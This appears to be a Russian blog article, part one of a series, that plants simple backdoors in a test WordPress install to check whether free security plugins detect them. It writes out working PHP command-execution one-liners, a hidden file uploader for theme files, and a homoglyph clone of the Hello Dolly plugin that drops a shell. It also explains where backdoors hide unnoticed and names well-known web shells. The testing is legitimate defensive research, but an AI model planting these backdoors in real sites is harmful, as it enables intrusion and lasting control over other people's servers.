Стоит ли доверять плагинам для защиты WordPress. Часть 1

#Обучение

WordPress — самая распространенная система управления сайтом и по этой причине вызывает большой интерес у вирусописателей и хакеров. В сегодняшней статье мы поговорим о защите WordPress.

Проанализируем работу самых популярных плагинов для защиты WordPress в базовой комплектации по принципу «установил из репозитория и запустил», то есть глазами простого пользователя, без платных подписок и расширенных версий. А еще рассмотрим некоторые мифы, касающиеся качества плагинов и тем из официального репозитория. «Закладки» будут самыми простыми и без использования обфускации — для удобства эксперимента.

Если верить статистике, под управлением движка WordPress работают более трети сайтов в сети. Оно и понятно: данная CMS бесплатная, поддерживается сообществом, простая, с кучей платных и бесплатных плагинов и тем оформления. Но со всеми этими плюсами есть и довольно большой минус — безопасность WordPress. 

Как правило взломы сайтов работающих на WordPress носят автоматизированный характер. Причина этого — простота применения того или иного эксплоита и количество уязвимых ресурсов. WordPress и по количеству «пробивов» также уверенно держит ведущие позиции, из-за чего на фриланс-биржах и компьютерных форумах практически ежедневно можно найти объявления об очередном взломе, с просьбами вычистить вирусы и другой зловредный код и восстановить работоспособность поврежденного сайта. 

Специфика WordPress такова, что осмысленно модифицировать большую часть файлов ядра бесполезно, так как при обновлении или форсированной переустановке будут восстановлены оригинальные файлы, да и плагины для защиты WordPress в большинстве своем уже давно умеют выявлять эти самые модификации и предупреждать о них в отчетах. 

То же самое касается тем и плагинов из репозитория: любые изменения будут выявлены либо через сравнение хеш-сумм файлов, либо через дату изменения. Иными словами, при целенаправленном взломе WordPress-сайта эффективная область заражения сильно сужается, дабы внедренный код оставался незамеченным как можно дольше. А вот спам- и Black SEO скрипты, которые в принципе не рассчитаны на продолжительную работу на скомпрометированном ресурсе, чаще всего засоряют все подряд и без разбора. Такое ПО довольно легко узнать «по почерку»: рандомные символы в названиях директорий, большое количество на первый взгляд бессмысленных файлов, частичная или полная обфускация кода. 

«Black SEO», «черное» SEO — вид поисковой оптимизации, основывающийся на применении явно запрещенных и недобросовестных методов продвижения. Основные методики «черного» SEO: дорвеи, клоакинг, линкопомойки, избыток рекламы, JavaScript-редиректы и прочее. Именно в эти чудеса поисковой оптимизации зачастую и превращаются взломанные сайты на WordPress. 

Нередко именно эти отличительные черты и позволяют даже обычному пользователю довольно оперативно заметить, что с сайтом творится неладное. Однако восстановление сайта может сильно затянуться как раз из-за объемов вредоносного кода, засорения поисковой выдачи или наложенных на домен или IP-адрес санкций. В общем, такая работа вредоносов далека от ювелирной, а защитить WordPress и себя от этой головной боли зачастую можно просто своевременным обновлением движка и темы с плагинами.

Основной же и самый болезненный удар при заражении сайта под управлением WordPress приходится на директорию /wp-content/. Исключение в последнее время составляет разве что директория /wp-content/uploads/, которую все чаще стали закрывать от выполнения PHP-кода, что в целом логично, хотя и может в единичных случаях создавать неудобства. Внутри /wp-content/ хранятся и используемые темы оформления, и плагины, и файлы кеша, и даже логи с бэкапами, если в админке установлены соответствующие настройки.

Плагины, особенно если они не обновляются довольно долгое время, частенько и становятся точкой входа для злоумышленника, в то время как директория с темами /wp-content/themes/ отлично подходит для внедрения, к примеру, бэкдора. Почему не наоборот? Потому что с плагинами связана некая «текучка»: сегодня владельцу ресурса нужны одни возможности, а завтра он передумает и все удалит, установив что-то новое. С темами оформления такой динамики почти не бывает, что заметно снижает шанс, что вредоносный код удалят и доступ к ресурсу через тот же бэкдор будет потерян. По этой причине выгоднее получать доступ в систему через какой-то уязвимый плагин, а вредоносный код прятать где-то в недрах директории /wp-content/themes/. 

Изучением уязвимостей в WordPress специалисты по информационной безопасности и частные исследователи занимаются давно и довольно плотно. Вот несколько ссылок для самостоятельного изучения:

• https://wpvulndb.com — полезный ресурс, посвященный уязвимостям WordPress: движок, плагины, темы.
• https://github.com/wpscanteam/wpscan/ — наиболее популярный и бесплатный сканер уязвимостей WordPress.
• https://wordpress.org/plugins/wpscan/ — плагин для WordPress, который сканирует сайт на предмет использования уязвимых версий движка, тем и плагинов по базе WPScan Vulnerability Database. 

Занимающиеся защитой WordPress эксперты порой незаслуженно обходят вниманием два файла, если они есть в корневой директории: 

1. wp-config.php
2. wp-config-sample.php 

Первый интересен тем, что его довольно часто редактируют и система, и сам пользователь, и различные плагины. По этой причине некоторые сканеры пропускают его как валидный по умолчанию. Практика показывает, что в большинстве случаев вредоносный код там не вызывает подозрений (речь не про обфусцированный веб-шелл, разумеется), и это играет на руку злоумышленникам. 

Второй файл wp-config-sample.php вызывает восторг одним своим наличием, так как система использует его всего один раз в виде шаблона при установке WordPress, да и удалять его вручную ни пользователи, ни разработчики не спешат, что также играет на руку хакерам. 

Если хотя бы один из этих двух файлов есть в корневой директории сайта, то он также отлично подойдет для внедрения вредоносного кода, хоть это решение и будет «под носом» у владельца, да и запросы к этому файлу в логах сервера могут все же вызвать подозрения. 

В общем, «слепых зон» у данной CMS немало, и даже принудительно внедренный в админку раздел под названием «Здоровье сайта» революции не произвел (не говоря о том, что в нем есть весьма спорные критерии и советы). 

Мифы про защиту WordPress 

Со временем вокруг WordPress сформировались устойчивые заблуждения, которые я условно назову мифами. Вот основные из них. 

• Миф №0: среди разработчиков, модераторов и завсегдатаев форума WP бытует мнение о высоком качестве попадающих в официальный репозиторий тем и плагинов, код которых якобы проходит многочисленные проверки, так что все это добро можно смело использовать на своих сайтах и особо ни о чем не беспокоиться о защите WordPress. Для сомневающихся в такой благодати есть классический способ усыпить бдительность: высокие показатели установок и положительные отзывы. Не могут же сотни тысяч пользователей ошибаться, верно?
• Миф №1: CMS дает возможность за пару кликов обеспечить сайту надежность и защиту, не заплатив при этом ни копейки. Еще одно распространенное среди пользователей и предпринимателей заблуждение. Под предпринимателями подразумеваются те, кто использует этот движок в своем бизнесе.
• Миф №2: на одном известном форуме не так давно были замечены занятные статьи, затрагивающие тематику безопасности различных CMS. Для защиты WordPress рекомендовали использовать плагины безопасности из репозитория, так как автор считает их лучшим и наиболее эффективным решением и сам пользуется ими для восстановления работоспособности скомпрометированных ресурсов. В других статьях для атаки на данную CMS были даны рекомендации, как заражать ресурсы и наиболее эффективно скрывать внедренный код. Суть рекомендаций сводилась к тому, чтобы напихать куда попало этих самых «закладок» в наиболее извращенной манере, и все это в теории позволит получить контроль над ресурсом в час икс.
• Миф №3: премиум-решения (платные) лучше базовых (бесплатных). 

А теперь я предлагаю взглянуть на более реальную картину, проверив теорию практикой. То есть экспериментом. 

Подготовка WordPress 

Все стандартно: штатная установка, далее сразу удаляем ненужный плагин Akismet Anti-Spam и любые две темы из трех доступных. Hello Dolly пока не трогаем, позже расскажу почему. В итоге получаем «чистый» WordPress с единственным изменением в файле wp-config.php:

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_DISPLAY', false );
define( 'WP_DEBUG_LOG', 'wp-content/versa-debug-log.txt' );

Первая строка включает в WordPress режим отладки, вторая отключает отображение сообщений об ошибках, третья позволяет вести лог работы движка и сохранять его в файле журнала с заданным нами именем. Это не обязательный шаг, но для эксперимента и отслеживания ошибок лишним точно не будет. 

Плагины для защиты WordPress 

Может ли владелец скомпрометированного сайта самостоятельно справиться с последствиями взлома, не прибегая к найму специалиста? 

В теории — да, может, и для этого существует огромное количество плагинов для защиты WordPress. Первым делом стоит поискать их в официальном репозитории WordPress по ключевым словам security и malware.

На почетном первом месте мы видим безусловного лидера — Wordfence Security – Firewall & Malware Scan компании Wordfence. Активная разработка, куча опций и настроек, более трех миллионов установок, средний рейтинг 4,8/5 баллов и 3177 положительных отзывов выглядят убедительно, правда? 

Без платной подписки пользователю доступна вся базовая функциональность с использованием функций защиты Community-сигнатур: файрвол, сканер файлов на наличие вредоносного кода и изменений файлов ядра, управление аутентификацией и прочее. У данного вида сигнатур есть одна особенность — их обновление происходит с задержкой в 30 дней. Забегая вперед, могу сказать, что особой погоды эта задержка не делает. Тем не менее проверим работу плагина на простых «закладках» и посмотрим, оправданны ли столь высокие рейтинги.

На втором месте с сильным отрывом от лидера расположился плагин iThemes Security с более чем 900 000 активных установок. Эффективность выявления вредоносов этим плагином мы проверить не сможем, так как модуль сканера доступен только в PRO-версии. От себя замечу, что за несколько лет я довольно часто наблюдал и продолжаю наблюдать этот плагин безопасности на скомпрометированных ресурсах.

Третье место по популярности держит Sucuri Security — Auditing, Malware Scanner and Security Hardening — продукт компании Sucuri Inc., получивший рейтинг 4,4/5 баллов при 254 положительных отзывах и более чем 600 000 активных установок. Проверить эффективность выявления «закладок» этим инструментом мы также не сможем из-за необходимости платной подписки.

Четвертое место плагин для защиты WordPress — Anti-Malware Security and Brute-Force Firewall: более 200 000 активных установок, 595 положительных отзывов и рейтинг 4,9/5 баллов.

На пятом месте мы видим Cerber Security, Antispam & Malware Scan от Cerber Tech Inc. с более чем 100 000 активных установок, рейтингом 4,9/5 баллов и 375 положительными отзывами.

Сотни тысяч активных установок, высокие рейтинги и хвалебные отзывы — все прекрасно, но стоит ли это воспринимать буквально и доверять безопасность WordPress этому плагину? 

Подготовленный к тестам «чистый» WordPress просканирован отдельно каждым плагином, что дало ожидаемый результат: ноль срабатываний в каждом отдельном случае, за исключением Anti-Malware Security and Brute-Force Firewall, который еще на старте дал восемь ложных срабатываний на файлы ядра движка. 

Внедрение вредоносного кода в WordPress 

На этой стадии мы начнем внедрять «закладки» в наш тестовый сайт. Для начала добавим самый простой и очевидный код, который заведомо будет без проблем выявлен, затем немного его скорректируем и продолжим отслеживать реакцию плагинов безопасности, если она будет.

• wp-config.php — в самый конец файла добавляем строчку system($_GET["subversa"]);.
• wp-config-sample.php — добавляем код passthru($_GET["subversa"]);exit(); обязательно перед строчкой require_once(ABSPATH . 'wp-settings.php' ); (чтобы не вызвать внутреннюю ошибку сервера при обращении к файлу).
• /wp-content/index.php, /wp-content/plugins/index.php, /wp-content/themes/index.php — добавляем echo shell_exec($_GET["subversa"]); во все три файла. 

Создадим отдельную тему и назовем ее, к примеру, Corrupted, после чего сделаем ее активной. Суть этого действия состоит в том, что такой темы в репозитории WordPress заведомо нет, следовательно, она будет считаться кастомной и ее не с чем будет сравнивать на предмет целостности и модификаций. Можно создать копию той темы, что мы оставили при подготовке WordPress. 

Теперь мы модифицируем следующие ее файлы:

• /wp-content/themes/corrupted/404.php — в этот файл часто внедряют загрузчик файлов, что довольно удобно. Я добавлю вот такой: <?php echo "<center><form style='display:none;' method='POST' enctype='multipart/form-data'><input type='file' name='file2upload'><input type='submit' name='upload' value='Upload'></form></center>";$files = $_FILES['file2upload']['name'];if(isset($_POST['upload'])){if(@copy($_FILES['file2upload']['tmp_name'], $files)){echo "Uploaded";}else{echo "Failed";}} ?>  В подобных случаях я не замечал добавление стиля вроде display:none;, который скрывает загрузчик от посторонних глаз, что довольно логично и практично.
• В файл /wp-content/themes/corrupted/functions.php добавим require_once get_template_directory() . "/inc/ghostuser.php";.
• В файл /wp-content/themes/corrupted/footer.php добавим <?php system($_GET["subversa"]);?>. 

Оригинальную тему, что стала неактивной, также немного изменим. 

• В файле /wp-content/themes/twentysixteen/header.php — добавим сразу после ?><!DOCTYPE html> код загрузчика: <?php echo "<center><form style='display:none;' method='POST' enctype='multipart/form-data'><input type='file' name='file2upload'> <input type='submit' name='upload' value='Upload'></form></center>";$files = $_FILES['file2upload']['name'];if(isset($_POST['upload'])) {if(@copy($_FILES['file2upload']['tmp_name'], $files)){echo "Uploaded";}else{echo "Failed";}} exit();?>  
• Создадим файл /wp-content/themes/twentysixteen/inc/fakefile.php с таким содержимым: <?=`$_GET[s]`?>. 

Также можно добавить в директорию /wp-content/ несколько веб-шеллов, чтобы посмотреть, будет ли на них какая-то реакция со стороны тестируемых плагинов. Эти веб-шеллы широко известны и пользуются популярностью уже много лет. Найти их в интернете не представляет большой сложности (хотя их и выпиливают с гитхаба с завидной регулярностью). Речь идет вот об этих скриптах: 

• /wp-content/subversa.php
• /wp-content/simple.shtml
• /wp-content/nbl.php
• /wp-content/alfa—3.php
• /wp-content/c—7.php
• /wp-content/mini47.php
• /wp-content/b-374-k.php
• /wp-content/w50.php 

И в качестве финального аккорда вернемся к плагину Hello Dolly. Вообще, почему этот плагин остается в комплекте поставки WordPress в наши дни — решительно непонятно. Это абсолютно бесполезный плагин, который еще и можно использовать в качестве «носителя» вредоносного кода, что делает ситуацию совсем странной, учитывая рекомендации из раздела «Здоровье сайта».

На скриншоте видно, что админпанель определила сразу два плагина Hello Dolly, которые визуально неразличимы. Здесь была проделана нехитрая манипуляция с буквой i: первый по порядку плагин на самом деле называется Hello DoIIy (файл heIIo.php — буквы ll заменены на заглавные ii), а вот второй как раз и есть оригинал. Заметить эксперименты с заглавными и строчными буквами можно, к примеру, в исходном коде страницы.

В нашем случае я модифицировал «клон» плагина так, чтобы при обращении к файлу heIIo.php создавался файл с названием /wp-content/shadow.php и кодом <?= $s="sy"."st"."em";$v=$_GET["subversa"];$s($v); ?> внутри. При желании можно «подогнать» под оригинал и размер файла, для большей убедительности. Забавно, правда?

Всего получилось 20 файлов с вредоносным кодом, которые должны без труда выявить плагины безопасности. Насчет веб-шеллов особых иллюзий питать не приходится, так как без обфускации плагины могут срабатывать почти на каждую строчку их кода, да и загрузчики файлов не должны вызвать особой паники у средств безопасности, поскольку сам по себе процесс загрузки файлов является легитимным и часто используется плагинами. 

В качестве маленького бонуса я подключу простенький самописный cookie-стиллер на одной из страниц WordPress в виде отдельного скрипта, вызываемого тегом <script src=...

Продолжение следует…

Источник